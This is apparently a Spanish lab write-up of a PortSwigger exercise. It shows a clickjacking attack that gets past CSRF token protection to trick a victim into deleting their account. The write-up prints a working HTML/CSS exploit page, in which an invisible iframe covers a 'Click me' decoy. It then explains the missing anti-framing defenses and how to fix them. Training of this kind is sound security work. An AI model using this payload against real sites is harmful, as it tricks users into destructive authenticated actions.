← Writeups

Basic clickjacking with CSRF token protection

Bypass de protección CSRF mediante clickjacking: un iframe transparente superpuesto a un señuelo hace que la víctima elimine su cuenta haciendo clic donde no cree.

Target Overview & Vulnerability Summary

El lab presenta funcionalidad de login y un botón de eliminar cuenta protegido por token CSRF. El token protege contra requests forjadas por un tercer origen, pero no contra la interacción del propio usuario. Mediante clickjacking —un iframe transparente con opacity casi nula superpuesto a un señuelo— la víctima hace clic sobre el botón de eliminar cuenta sin saberlo, completando una acción autenticada que el CSRF token no puede bloquear.

Campo Valor
Severidad Media-Alta (destrucción de cuenta autenticada vía interacción engañosa)
Endpoint vulnerable /my-account (botón "Delete account")
Root cause Ausencia de X-Frame-Options/frame-ancestors (la página es embebible) + botón de alto impacto sin doble confirmación

Credenciales del laboratorio: wiener:peter. La víctima usa Chrome: probar el exploit en ese navegador.

Technical Breakdown & Exploitation Flow

1. La protección existente

La página /my-account incluye un botón de eliminar cuenta protegido con token CSRF. El token impide que un atacante forje la request desde su propio sitio, pero la acción se ejecuta cuando el usuario autenticado interactúa con la página real.

2. Exploit de doble capa

<html>
    <head>
        <title>Basic clickjacking with CSRF token protection</title>
        <style type="text/css">
            #targetWebsite {
                position:relative;
                width:700px;
                height:700px;
                opacity:0.0001;
                z-index:2;
            }

            #decoyWebsite {
                position:absolute;
                top:495px;
                left:60px;
                z-index:1;
            }
        </style>
    </head>
    <body>
        <div id="decoyWebsite">Click me</div>
        <iframe id="targetWebsite" src="https://0aea00c303e1075d8080030d00ed001e.web-security-academy.net/my-account"></iframe>
    </body>
</html>

Mecánica de capas:

  • El iframe de la página target queda por encima (z-index: 2), con opacity: 0.0001 para ser prácticamente invisible.
  • El señuelo ("Click me") queda debajo (z-index: 1), posicionado en las coordenadas exactas del botón "Delete account" dentro del iframe (top:495px; left:60px).
  • La víctima percibe un botón "Click me" y hace clic; el clic cae sobre el iframe transparente, activando el botón real de eliminar cuenta.
  • El CSRF token se genera y se envía en la request legítima originada por el propio navegador de la víctima — el token no es un factor disuasorio para este vector.

Root Cause Analysis

El clickjacking no rompe el token CSRF: lo obvia. El CSRF protege contra requests forjadas por un tercero; en clickjacking la request es generada por el navegador de la víctima hacia el origen correcto, con cookie y token válidos, pero iniciada por un clic engañoso sobre un frame invisible. La defensa que falta es la política anti-frame: X-Frame-Options: DENY/SAMEORIGIN o CSP frame-ancestors 'none'. Sin ellas, cualquier dominio puede embeker la página y orquestar la interacción.

Secure Remediation

  • Bloquear el embebido de páginas sensibles en cabeceras HTTP:
X-Frame-Options: DENY
# o vía CSP
Content-Security-Policy: frame-ancestors 'none'
  • Para páginas que sí deben ser embebibles (widgets), restringir frame-ancestors a los orígenes propios:
Content-Security-Policy: frame-ancestors 'self'
  • Añadir defensa en profundidad en la UI: para acciones destructivas (eliminar cuenta), exigir doble confirmación o confirmación con re-autenticación; así un clic engañoso no basta.
  • En la lógica del cliente, técnicas anti-frame adicionales (comparar window.top === window.self) como complemento, nunca como única defensa (el atributo sandbox o la manipulación del DOM la eluden).